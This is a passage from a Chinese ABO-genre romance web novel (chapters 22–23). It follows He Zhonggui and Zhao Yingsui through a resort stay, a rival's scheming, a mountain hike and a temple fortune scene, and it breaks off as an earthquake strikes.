洁白无瑕的手帕很轻易地就被鲜血染红,何衷归微微皱眉,手掌下意识地移动,却被理智狠狠压制住,他舍不得这种轻柔的、被赵应随重视的感觉。
“停手吧何衷归,如果闹出人命来,事情就不好办了,嗯?”
何衷归专注地看着赵应随精致挺翘的鼻尖,和他圆润饱满的耳垂上那一小颗红痣,血液里的暴虐因子消失殆尽。
“好。”
擦拭干净,赵应随刚把手帕折叠好准备收起来,手帕的一角就被何衷归轻轻拉住。
何衷归眼神一片清明,以一种冷静沉着的语气说:“给我吧,洗干净之后我再还给你。”
赵应随点点头,将手帕递给何衷归。
“赵应随!”严作凡狠狠皱着眉头,心急如焚地推开门,竹门“砰”一声撞在墙上,摇摇欲坠。
严作凡的目光瞬间扫向院内,只见任胜寒直愣愣地躺在地上,赵应随静静地站立在任胜寒身旁,看不出有无不妥。
脚步急促,严作凡走到赵应随身前,眼睛如同扫描仪一样上下梭巡,语气急促又温柔地问:“你有没有事?对不起,是我来得太晚了。”
赵应随不紧不慢地摇摇头,面色如水,声音温和,“严会长,我没事。”
再三确认赵应随毫发无损,严作凡这才缓缓抬起头,把视线投向赵应随身后的何衷归。
他扯出一抹冷笑,嘲讽意味十足地说:“何衷归,这就是赵应随和你在一起的结果?”
何衷归像被一道电流击中,浑身一颤,他握紧了拳头,指节因用力而微微泛白,骨节之间发出咯吱咯吱的响声,好像随时都会崩裂。
“不全怪他,”赵应随面色沉静入无风的湖面,他看了一眼何衷归脖颈上泛红的针孔痕迹,丝丝血珠向外渗透,“是任胜寒手段下作。”
是任胜寒收买了服务生,又给何衷归强制注射了药剂。
何衷归一把拉起赵应随的手,在手背上烙上炽热的一吻,目光牢牢地锁定在他的脸上,如最虔诚的信徒,注视着宏伟神庙的神祗。“我发誓,我绝不会让你再收到任何伤害。”嗓音沙哑低沉,决绝而肯定。
赵应随注视着何衷归因紧张而微微颤动的瞳孔,很轻地点头,高贵的神祗响应了卑微信徒的承诺,“嗯。”语气温和,带着一丝不易察觉的温柔。
严作凡站在距离赵应随咫尺之间的位置上,却仿佛被一道无形坚固的屏障硬生生地隔开,处于他们的世界之外。他喉结滚动,欲言又止,却仿佛被点了哑穴,说不出一个字来。
22. 第 22 章
拉门轻滑,木质结构发出轻柔“吱呀”声。赵应随身着淡蓝色的浴衣,脚踩木屐,闻声转身看向门外。
刹那间,他的目光被漫山遍野的枫树牢牢吸引,如同一簇簇燃烧的烈火,在山间肆意蔓延。偶有秋风拂过,成千上万的枫叶摇曳,似火海泛起层层红浪,美得摄人心魄。
何衷归静静站立在门外的缘侧上,周身被温柔的秋光笼罩,眼睛里是一圈圈涟漪的笑意,以一种轻松的语气说:“看来你喜欢。”
赵应随走上缘侧,与何衷归并肩而立。微风轻拂,撩动着他们的衣角,两人一道静静凝视着眼前难得的景色,沉浸在这份独属于他们两人的静谧中。
一枚枫叶打着旋落下,赵应随下意识伸出手臂去接,宽大的衣袖因重力堆落在肘间,露出一小片白皙细腻的肌肤。
皓白的手指捻起枫叶的叶柄,在指腹间轻轻转动揉弄,片刻后,赵应随的手缓缓垂下,连同枫叶一起,安静地垂放在身侧。
赵应随迎着暖洋洋的日光,稍稍扬头,几缕发丝顺势垂落在清瘦的肩膀上。蔚蓝的天空和火红的枫叶相互映衬,倒映在赵应随的眼眸之中。
何衷归站在赵应随身侧,眉目间是前所未有的柔情,他再没有见过,比赵应随的双眸更为动人的景光了。
十年前,何家阴森的古堡里,一丝光亮也透不进来,空气里弥漫着压抑的死寂,严肃古板的家教老师坐在书桌前,捧着一本做工精致的诗集,抑扬顿挫地诵读普罗帕克斯的《哀歌集》。
“眼睛是首先宣布温柔的爱情故事的前驱。”
小何衷归对此这句诗嗤之以鼻,他不相信所谓温柔的“爱情”,对于诗歌也兴致缺缺,精致的遣词造句在他听来,和名利场上的虚与委蛇并无不同。
年老的家教老师看出眼前孩子的不耐与不屑,她并未大声斥责,而是轻轻放下诗集,带着一种慈悲,轻声道:“何少爷,总有一天您会明白的。”
十年后,何衷归听到子弹呼啸而来的风声,子弹正中眉心,他也明白了这句诗歌的真义。
“何少爷,有您的电话。”隔着一层木门,服务生恭敬的声音清晰地传了进来,将何衷归从经年往事中拉出。
何衷归闻声,微微侧过身,对赵应随轻轻点头示意,随后迈着步伐,转身离开了房间。
分针“滴答滴答”转动了半圈,也没有听见何衷归回来的脚步声。
从泡池回来,何衷归提议给赵应随换个房间,为防止任胜寒后狗急跳墙,这个房间要在何衷归的势力范围之内。赵应随自然接受了何衷归的建议,而且他也很喜欢这个新房间。
赵应随惬意地坐在缘侧的边缘,修长笔直的双腿垂落在外,脚尖有规律地轻晃。
眉眼处透露出几分愉悦,他用了个巧劲,将木屐从脚上甩出去,划出一道弧线,最终稳稳地落在松软的草地上。
双手撑着木板,赵应随身体微微后仰,阳光暖烘烘地照在身上,微风裹挟着枫叶的清香,此刻万籁俱寂,偶有清脆的鸟鸣声,他舒展着身体,眼睛应舒适而微微眯起,困意不知何时悄然爬上神经。
………
服务生恭敬地将电话递给何衷归,随后微微后退,悄无声息地离开了房间。
“衷归。”电话那头,声音低沉醇厚如昂贵的大提琴,但却又不失威严。
何衷归顿了顿,语气难得带了几分严肃:“……小叔。”
“嗯,我听夏助理说,你决定对任家的股市动手。”
“是。”何衷归坦然承认。
何家家主冷笑一声:“你要清楚,一旦动手,稍有不慎便是万劫不复,如果因为你的疏忽失误导致局面失控,何家可不会出面帮你收拾烂摊子,到时候,你要自己承担所有后果。
“最坏的结果就是,你的公司,你多年来的心血,全部付之东流。”
说到最后一句话时,格外加重了语气。
“小叔,我明白您的顾虑,”何衷归神色冷静,沉声道,“我们和任家早晚会有一场正面交锋。这些年,任家在新兴产业的版图日益扩大,如果再不有所动作,日后恐怕会丧失更多主动权。而且,我也想看看,任家大少爷到底够不够格做我的对手。”
沉默良久,电话那头传来一声低沉的轻笑。“不错,是何家人该有的样子。”
何家家主的声音里多了几分赞赏,“正好借此机会,让董事会的老家伙们看看你的本事。”
何衷归:“嗯。”
话锋一转,何家家主好似闲聊般问到:“你这几次和任家二少爷起冲突,是为了一个Omega?”
何衷归闭上双眼,眉心紧皱,语气却是十足的散漫,“一个幌子罢了。”
“是吗?”何家家主一边说,一边翻动文件,“好了,今天这通电话也是为了提醒你,你心中有数就好,挂了吧。”
电话挂断,何衷归在原地沉默伫立片刻,随后转身离开,迈着长腿往赵应随的房间走去,步伐急促,带起的风吹起何衷归额前的碎发。
不知怎么,他突然很想看到赵应随的脸,看到他耳间的那一颗红痣,哪怕没有任何身体接触,也很好。
可等真正看到那扇门,何衷归又突然放慢了脚步,心里破天荒地生出一种近乡情更怯的情绪。眉心微皱,他下意识地轻轻推开了木门。
房间里一片静寂。
何衷归的眉头皱的更深,赵应随离开了吗?
他向房间深处走去,看到在橙黄色的阳光里,有个人倒在缘侧上。
何衷归心下一松,悄无声息地靠近,等看清楚眼前人的模样,哑然失笑,颇为无奈地摇摇头。
赵应随大约是真的很困,就这么躺在木板上沉沉睡去,连好几片枫叶落在他的身上都浑然不知。
心落到了实处,何衷归抱起双臂,目光沉沉,用视线仔细描摹赵应随的眉目,从光洁饱满的额头、精致挺挺翘的鼻梁,一寸寸下滑到线条流畅的下巴和耳垂上的红痣。
比起都市,山里空
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气更好,也更凉。
微风吹过,虽然阳光充足,到底还是有些凉意。赵应随眉心轻拢,不太高兴地抿唇,身体因这几分凉意而微微蜷缩。整个人透露出一种委屈来。
看的人心都化了。
何衷归嘴角不自觉地上扬,连带着眉眼处也带着几分笑意。
他俯下身,伸出有力的手臂,准备将赵应随抱到床上睡。视线不经意间向下滑落,瞥到赵应随两只光秃秃的脚。
鞋呢?
何衷归的目光迅速地扫视了一圈,很快便在不远处的草坪上发现了两只歪倒的木屐。
嗯……
何衷归若有所思地看了赵应随一眼,还挺有童心。
赵应随的觉浅,被人抱起时的失重感足以将他从浅眠中唤醒。
赵应随迷蒙着缓缓睁开双眼,意识逐渐回笼,发现自己正被人稳稳地抱在怀里,不急不慢地走着。
霎那间,一阵热意涌上心头,他的脸一下子变得同枫叶一般红,赵应随慌乱地垂下长长的眼睫,指节因用力而泛白,声音里带着几分尴尬和羞恼:“何衷归,放我下来。”
“嗯?”何衷归瞥了一眼赵应随微红的耳后根,带着点调笑意味道,“醒了?”
赵应随自暴自弃地点了点头,却崩溃地发现何衷归完全没有放自己的下来的打算。
Alpha怎么能被人公主抱呢?!
挣扎了两下,何衷归的胳膊就如同铁焊的一样,纹丝不动。
赵应随心如死灰地往一旁看去,视线中,何衷归的一只手正悠然地拎着自己的木屐。
赵应随:“……”
不过好在到榻榻米的距离不远,几秒钟后,何衷归把赵应随珍重地放在榻榻米上,顺手将木屐整齐地摆放好。
做完这一切,何衷归没离开榻榻米,他用手臂撑着身体,将赵应随桎梏在自己的身下,挑眉,“在生气?”
看了眼赵应随的神色,何衷归耐心解释道:“不是不让你睡,只不过山里风凉,担心你感冒。等到夏天,我再带你来,你想怎么睡都可以。”
短短一分钟,赵应随已经在何衷归面前社死两次。先是在室外睡着,被何衷归抱回来;紧接着,又被发现自己把木屐甩了出去。
赵应随一脸黑线,扭过头去,短时间内都不想再看到何衷归的脸了。
静静欣赏够赵应随这幅难得的表情,何衷归轻笑一声,松开对赵应随的桎梏,站起身来。
刚才两人之间的距离那么近,鼻尖对着鼻尖,只要赵应随想,他可以随时把自己推开,但是他没有。
何衷归满意地想:他并不排斥与我接触。
看了眼时间,何衷归轻咳一声,礼貌问道:“晚饭你想在房间里吃,还是你的同学们一起?”
赵应随看了眼挂在墙壁上时钟,思考片刻,回复道:“和大家一起吧。”在房间里吃,有可能会和何衷归单独相处。
何衷归点点头,似乎对他这个回答并不意外。
23. 第 23 章
山庄以自助餐的形式为奥尔斯顿的学生们奉上了第一餐。琴声悠扬的餐厅里,学生们坐在各自的位置上,面无表情地咀嚼。空气里安静的吓人。
选餐的队列里,一个同学失手打翻了调味瓶,玻璃瓶从长桌上坠落,一声清脆的响声在静谧的餐厅里炸开。
空气仿佛被瞬间凝固,周围同学的目光如聚光灯般射在罪魁祸首身上。那位同学头上直冒冷汗,对着周围快速地鞠了几躬,便静声疾行地远离了众人的视线。
像是机器人解决了一个bug,所有人露出了如释重负的表情,继续无声有序地执行命令。
目睹一切的副会长:……他不就是去上了个厕所,晚到了一会儿吗,怎么突然开始上演《复制人大阴谋》了?
有一些人看到了副会长的身影,目光止不住地往一个方向瞟,用眼神示意他看过去。
副会长定睛一看,嚯,他可算知道为什么气氛这么古怪了。
小小的一方四人桌,何衷归压低眉头,面如恶鬼地独自坐在一边,赵应随和严作凡并肩坐在他对面,小声谈论些什么。
以这张桌子为圆点,方圆几百米内,所有人吓得大气都不敢出一声。
何衷归勉强压着不耐,轻敲桌面,“严作凡,如果我没记错的话,赵应随不是学生会的人。”言下之意就是,赵应随不是你的下属,你赶快有多远就滚多远,别打扰我俩吃饭。
眉毛轻扬,严作凡挂着很假的笑容,反呛道:“怎么,何大社长连社员的交友都要指手画脚吗?是不是管得太宽了?”
何衷归将身体靠在椅背上,语气嘲讽:“占用别人的用餐时间谈论事情,这就是你的交友方式?”
“……”严作凡顿了顿,用试探的语气说:“赵同学,我可以和你一起用餐吗?”
赵应随:“……可以。”这两个Alpha怎么随时随地都能吵起来。
得到赵应随的许可后,何任两人默契地安静下来,餐桌上只有刀叉轻轻的碰撞声。
一顿饭就这么有惊无险地过去,饭后,学生会组织全体学生开会,大致讲了一下明天的安排。
从相同起点开始,路线在青峰山山腰一分为二,学生们可根据喜好任选其一,最终在山顶汇合下山。
一条路线经过月老庙,这座庙据说是方圆十里内最灵的姻缘庙,香火鼎盛。
另一条路线则经过瀑布,水花飞溅,在秋季游玩或许不是一个适当的选择。
简要介绍后,严作凡便通知大家可以自行离开。
汹涌的人群默契地为赵应随和何衷归留出一片真空地带,赵应随打开游玩手册,翻开瀑布相关的内容,边走边看。
何衷归一言不发地跟在赵应随身边,直到两人要分离时,才状似不经意地问了一句:“你走瀑布那条线?”
赵应随“嗯”了一声,他还没看过瀑布,趁此机会刚好去看看。
“我还以为Omega都对月老庙更感兴趣呢。”
严作凡从他们身后浅笑盈盈地走来,打量着赵应随的脸色补充道:“不过赵同学也不是普通的Omega。秋季干冷,瀑布水凉,记得多加件衣服。”
赵应随点点头,谢过严作凡的好意,秉持着社交礼仪问了一句:“严会长走哪条路线?”
镜片后的眼睛轻眨,严作凡温声道:“姻缘庙那条。”
眼底的诧异一闪而过,赵应随点点头,却也没有再多问。
严作凡微微笑起,扬起一抹意味深长的笑容,不经意间与何衷归隐含敌意的目光交汇,空气中仿佛有火花四溅。
“嗯,我还有事要忙,就先失陪了。”严作凡对赵应随微微颔首,转身时看着何衷归礼貌地说:“明天路上多多指教,何大少爷。”
这句话如平地一声惊雷,赵应随微微睁大眼睛,看着何衷归陡然阴沉下去的脸,难以置信地问:“你……想去姻缘庙?”
一般不都是Omega或者小情侣选择姻缘庙这条路线吗?何衷归一个单身的Alpha凑什么热闹?不对,小阳也没提到过何衷归单身……
赵应随轻托下巴,眼神游移,一副深沉思考的样子,明显思绪已经偏到十万八千里之外了。
何衷归连忙打断面前人的思路,语气无奈地反驳:“我没有恋人。”
赵应随狐疑地看着何衷归:?
“其实是……”何铭阳求我替他在月老庙求根签。
何衷归望向赵应随的脸,一瞬间,原本已到嘴边的理由被一股无形的力量拉扯,硬生生地停留在嘴边。
咽下未竟之语,何衷归抹出一抹浅笑,缓缓开口道:“我去求姻缘。”
何衷归的神情和语气都太过认真。赵应随半信半疑地点点头,没再说话。
他们之间一直保持着一种难以言喻的沉默,直到他们在各自的房间门口停下。
何衷归率先打破沉默,他抬手轻轻拉开木门,动作停顿了一瞬,转身对着赵应随微微颔首,声音平和:“明天见。”
赵应随愣了一瞬,很快回过神来,嘴角微微上扬,回应道:“明天见。”
背对着门,赵应随缓缓闭上双眼,试图让自己纷乱的心绪平静下来。片刻后,他缓缓睁开眼,眉头依旧微微皱着,转身走向榻榻米,换上睡衣后阖上双目,准备入睡。
思考不能掌控的事情毫无意义,与其纠结于未知与不可控,不如蓄足精力留给明天。
晨光熹微,淡金色的光线洒落在每个人期待的脸上。奥尔斯顿的学生们身着统一的登山服,手拿登山杖,背着鼓鼓囊囊的背包,里面装着食物、水和急救用品。
皮肤黝黑的向导站在一块巨石上,双手比做喇叭放在嘴边,声如洪钟:“大家检查好装备,我们要出发了!你们准备好征服这座山了吗!”
“准备好了!”学生们异口同声地回答,声音响彻云霄,激荡在山林之间。
赵应随默默看了一眼山峰,高耸入云,是一场硬战。
整齐的队伍沿着蜿蜒的山路鱼贯而行,所有人的步伐轻快有力,像是充了电一般,浑身有使不完的劲。
可随着海拔逐渐升高,山路愈发崎岖陡峭。刚到山腰,不少人就已经累得气喘吁吁。副会长双手撑着膝盖,弯着腰大口地喘着粗气,汗水就像断了线的珠子落在浸透的衣衫上:有的人索性一屁股坐在路边的石头上,眼神中满是疲惫,胸脯剧烈地起伏着。
有些身娇肉贵的Omega苍白着脸,手脚不受控制地直哆嗦,行走时摇摇晃晃,需要人搀扶着才能勉强走两步。
健壮的向导面上扬着灿烂的笑容,扛着一箱矿泉水,脚步轻快地穿梭在队伍之间,一个挨着一个鼓励慰问。
赵应随在一圈瘫倒的Omega中显得格格不入,除了额头上有些许细密的汗珠外,整个人神清气爽,他清冷地站在枫树下,自成一派惹人注目的风景。
轮到赵应随时,向导猛地眼前一亮,激动地拍拍赵应随肩膀,豪爽道:“你这个Omega身体素质可以啊,精神头不错!找你这个势头,说不定是第一个登顶……呃?!”
手臂猛地被一股力量紧紧地箍在半空中,向导惊愕地扭头,发现赵应随身旁的Alpha正用不悦与警惕的眼神盯着他,如同被侵犯领地的狼。
“哎、哎呀,对不住,”向导的脸上露出一个尴尬的笑容,挠挠后脑勺,“我就是夸一下你男朋友的身体棒,真的没有想占便宜的意思,真的没有,你别误会……”
见自己越描越黑,眼前的小情侣又一言不发,向导最后苍白无力地解释了两句,便灰溜溜地跑到一边休息了。
“等等……我们不是……”赵应随看着向导离开的背影,犹豫了几秒,收回了手。
何衷归眼神里闪过一丝笑意。
向导的声音清脆洪亮,虽然此刻大家都累得像个没有生气的躯壳,但并不妨碍大家一个个强打起精神,竖起耳朵仔细听。
男朋友!!
众人先是一愣,面面相觑,而后脸上的八卦之色突然迸发出来,每个人眼睛里闪烁着诡异的光芒。一时间,一股隐秘而兴奋的氛围弥漫,疲惫似乎都被这突如其来的兴致冲淡了几分。
严作凡将矿泉水瓶捏紧,指节因用力而泛白,他的目光紧紧锁住赵应随与他身边Alpha,眼神中闪过一丝不易察觉的愠怒。
休息片刻,人群在岔路口一分为二,朝各自的目的地出发。
赵应随侧过身,朝何衷归点头告别,随后便头也不回地往相反的方向走去。
何衷归站在原地,一直等到看不见赵应随的身影后,才缓缓收回目光,在队伍末尾慢慢走着。
赵应随走的这条路线,Alpha居多,尤其是单身的Alpha多。
这些Alpha长久以来,都只敢在远处默默关注着赵应随的一举一动。如今,竟然有这么一个绝好机会,能和校花近距离相处。于是他们一个个不自觉地挺直腰杆,铆足了劲要在赵应随眼里留下一个好印象。
队伍刚刚走了两百米,有个高大的Alpha小心翼翼地询问赵应随渴不渴他这里有水喝,赵应随摇摇头,婉言谢绝。
Alpha没有被拒绝的沮丧,反而很高兴地离开了。天啊,他和赵应随说上话了,他好漂亮,好温柔。
赵应随这么好说话的吗?
刹那间,原本观望的人群像是被点燃起来,一个个心思彻底活络起来,想要抓住这个难得的机会,和赵应随交谈两句。
“赵、赵同学,”一个阴沉消瘦的男生鼓起此生勇气向赵应随搭话,“我、我能问你一个问题吗?”
在赵应随的注视下,男生的声音渐渐弱下来,眼神慌乱地看向周围,“不、不回答也没事。”
赵应随:“嗯,你说吧。”他只是看着男生有些眼熟,好像在哪里见过。
孙杰平的眼睛突然亮了起来,他并不奢望赵应随还记得自己,能和赵应随说上话他就已经很开心了,“刚、刚才,向导说你是那个谁的男、男朋友,是真的吗?”
空气静默了一瞬。周围的Alpha们若有似无地往这个方向投来目光,屏气凝神地倾听赵应随的回答。
赵应随摇摇头,否认道:“不是,向导误会了。”
Alpha们不约而同地长舒了一口气。
孙杰平慢慢瞪大了双眼,眸中
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是难以置信的惊喜,双手因激动而微微颤动,他朝赵应随鞠了个躬,语无伦次的说:“好、好,我知道了,谢谢你!”
赵应随被孙杰平的动作吓了一跳,有些莫名其妙地回复:“……不客气。”
孙杰平握紧拳头,眼睛里燃烧着的熊熊的火焰,他拿出手机登上论坛,誓要和赵应随的黑粉们一决高下。
熟悉的界面映入眼帘,论坛里热门话题大多数都是个赵应随有关,手指在屏幕上滑动,很快锁定污蔑赵应随傍上何衷归的帖子,里面的言论不堪入目。
孙杰平平复了一下心绪,手指在键盘猛烈敲击,分分钟几千字,有理有据地反驳这群黑粉们的污蔑。
赵应随回头看了一眼孙杰平干劲十足的样子,冷静地想,一边爬山一边打字,一心多用,在某种程度上来说,这个Beta也算是厉害。
在崎岖的山路上艰难地走着,赵应随很快发现了不对劲,他东南西北四个方向上,各有一个Alpha默默守护着他。
个别敏锐的注意到赵应随的目光,关切地问:“怎么了?”
赵应随无语地摇摇头,收回了目光。
按照他在学校的所作所为,是什么给了这群Alpha他很需要保护的错觉?
不多时,众人终于抵达瀑布所在之处。刚一靠近,水汽便扑面而来,裹挟着丝丝凉意。
凝神看了一会儿,赵应随意识到有些不对劲,他颇为诧异的看向水流的源头,那水流并非自然从山间从山间石缝奔涌而出,而是齐刷刷地从一根口径粗大的水管中汹涌而出。
向导举起双手,心虚地解释道:“各位,天然的瀑布水流量太小了哦,景区也是为了不让你们失望,才加了一根水管嘛,一样的。”
这也行?
向导的话换来一阵阵嘘声。
赵应随默不作声,事已至此,先拍照吧。他从背包里小心翼翼地拿出相机,双手稳稳托着,将镜头对准“人造瀑布”,按下快门。
这个相机是何衷归特意交到他手上的,让他沿途拍一些照片。美其名曰是摄影社的任务,其实是Alpha想看看赵应随遇到的、而他不曾见过的风景。
赵应随低头查看,心道,确实是很别致的风景。
“呵,这也算是瀑布?”傲慢且无礼的声音从身后传来,语调高高扬起,满是轻蔑与不屑。
任胜寒嘴角贴着一个创可贴,两手插兜,慢悠悠地走到赵应随身边,眼里带着戏谑的笑意,“尼亚加拉瀑布,位于美国和加拿大的交界之处,飞流直下,瀑布呈深邃的蓝色,才值得一观。”
说着,他斜睨了一眼人造瀑布,脸上尽是毫不掩饰的嫌弃。
“不知道你有没有兴趣和我一起观赏?”任胜寒拉踩完,终于道明了来意。
赵应随暗自腹诽,心中不禁泛起一阵无奈,深深地叹了口气。不得不承认,任胜寒在某些方面还真有着超乎常人的毅力。
在任胜寒疑惑的眼神中,他上下打量了一番任胜寒,心道:他不会是个M吧?越战越勇,撞了南墙也不回头。
姻缘庙里香烟缭绕,求签处排着长长的队伍。好巧不巧,严作凡就排在何衷归的前面。
严作凡闭上眼睛,轻轻晃动签筒,一支竹签滑落在地,他轻轻拾起来,递给一边的僧人,僧人看到上面的数字后,将对应的解签纸递给严作凡。
严作凡礼貌接过,随后走到满树飘扬着红绸的月老树下,打开解签纸。
签词为“永老无离别,万古常完聚,愿天下有情人,都成了眷属”。
底下有一小段注释:良缘既成,切莫犹豫,立取之可也,踌躇即失之。为君祈祷,望君善自珍惜”。
严作凡微微捏紧了泛黄的纸张,将解签纸妥帖地收好,随后头也不回地离开了月老庙。
何衷归捏着解签纸的一角,轻轻用力,解签纸纹丝不动。
何衷归先是一愣,随即挑了挑眉,似笑非笑地看着不松手的僧人。
年老的僧人哈哈一笑,问道:“年轻人,你相信月老吗?”
何衷归松开手,漫不经心地回复:“不信。”
僧人也不恼,只是抚了一下胡须,问道:“若是抽到了下下签呢?”
何衷归“啧”了一声,“遇到他,已是上上签。”
僧人不禁失笑,眼里带着洞察世事的了然,他将解签纸放在蜡烛上燃烧,轻声说道:“虎狼环伺,愿你能有所得。”
何衷归看着僧人的微笑,微眯起眼睛,“自然。”
忽然,寺庙的烛台剧烈晃动,蜡烛因桌子的颤动东倒西歪,何衷归迅速地抬起头,房梁也微微颤动,灰尘簌簌的往下掉,整座寺庙发出令人毛骨悚然的吱呀声。
脚下的地面开始疯狂起伏,如同汹涌波涛中的海面。人们站立不稳,纷纷摔倒在地,发出恐惧的惨叫。有人惊慌失措地四处奔逃,却被剧烈的震动一次次甩倒。
地震了。
何衷归用手扶着柱子,试图稳住身形,耳边是地震的轰鸣声和不停息的哭喊声,就在这混乱之际,赵应随的身影毫无征兆地闯入他的脑海,他几乎是下意识地想:赵应随,他在哪里?